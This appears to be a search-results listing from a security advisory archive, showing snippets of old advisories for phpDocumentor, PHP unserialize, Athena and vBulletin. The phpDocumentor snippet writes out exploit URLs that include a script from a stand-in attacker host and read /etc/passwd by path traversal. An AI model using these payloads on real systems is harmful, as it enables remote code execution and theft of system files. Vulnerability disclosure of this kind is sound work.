726 matches found
phpdocumentor_130rc4_incl_expl.txt
---- PhpDocumentor also, if magicquotesgpc off: http://target/pathtophpdocumentor/Documentation/tests/bug-559668.php?FORUMLIB=http://attacker/script.txt%00 http://target/pathtophpdocumentor/Documentation/tests/bug-559668.php?FORUMLIB=../../../../../../../etc/passwd%00...
PhpDocumentor <= 1.3.0 rc4 Arbitrary remote/local inclusion
---- PhpDocumentor = 1.3.0 rc4 Arbitrary remote/local inclusion --- software: site: http://www.phpdoc.org/ description: "phpDocumentor, sometimes referred to as phpdoc or phpdocu, is the current standard auto-documentation tool for the php language. Similar to Javadoc, and written in php,...
security flaw
The deserialization code in PHP before 4.3.10 and PHP 5.x up to 5.0.2 allows remote attackers to cause a denial of service and execute arbitrary code via untrusted data to the unserialize function that may trigger "information disclosure, double-free and negative reference index array underflow"...
athena.txt
Language: PHP Script: Athena Version: 0.1a Official website: http://sourceforge.net/projects/athena Problem: Remote file inclusion Discovered by: beford & GB Description: =========== A simple website management system written in oo php that uses a mysql database to store user and group rights and...
jelsoftvb.txt
Vendor : Jelsoft Enterprises URL : http://www.vbulletin.com Version : vBulletin 3.0.0 RC4 && Others Risk : Cross Site Scripting Description: vBulletin is a powerful, scalable and fully customisable forums package for your web site. Based on the PHP language, backed with a blisteringly fast MySQL...
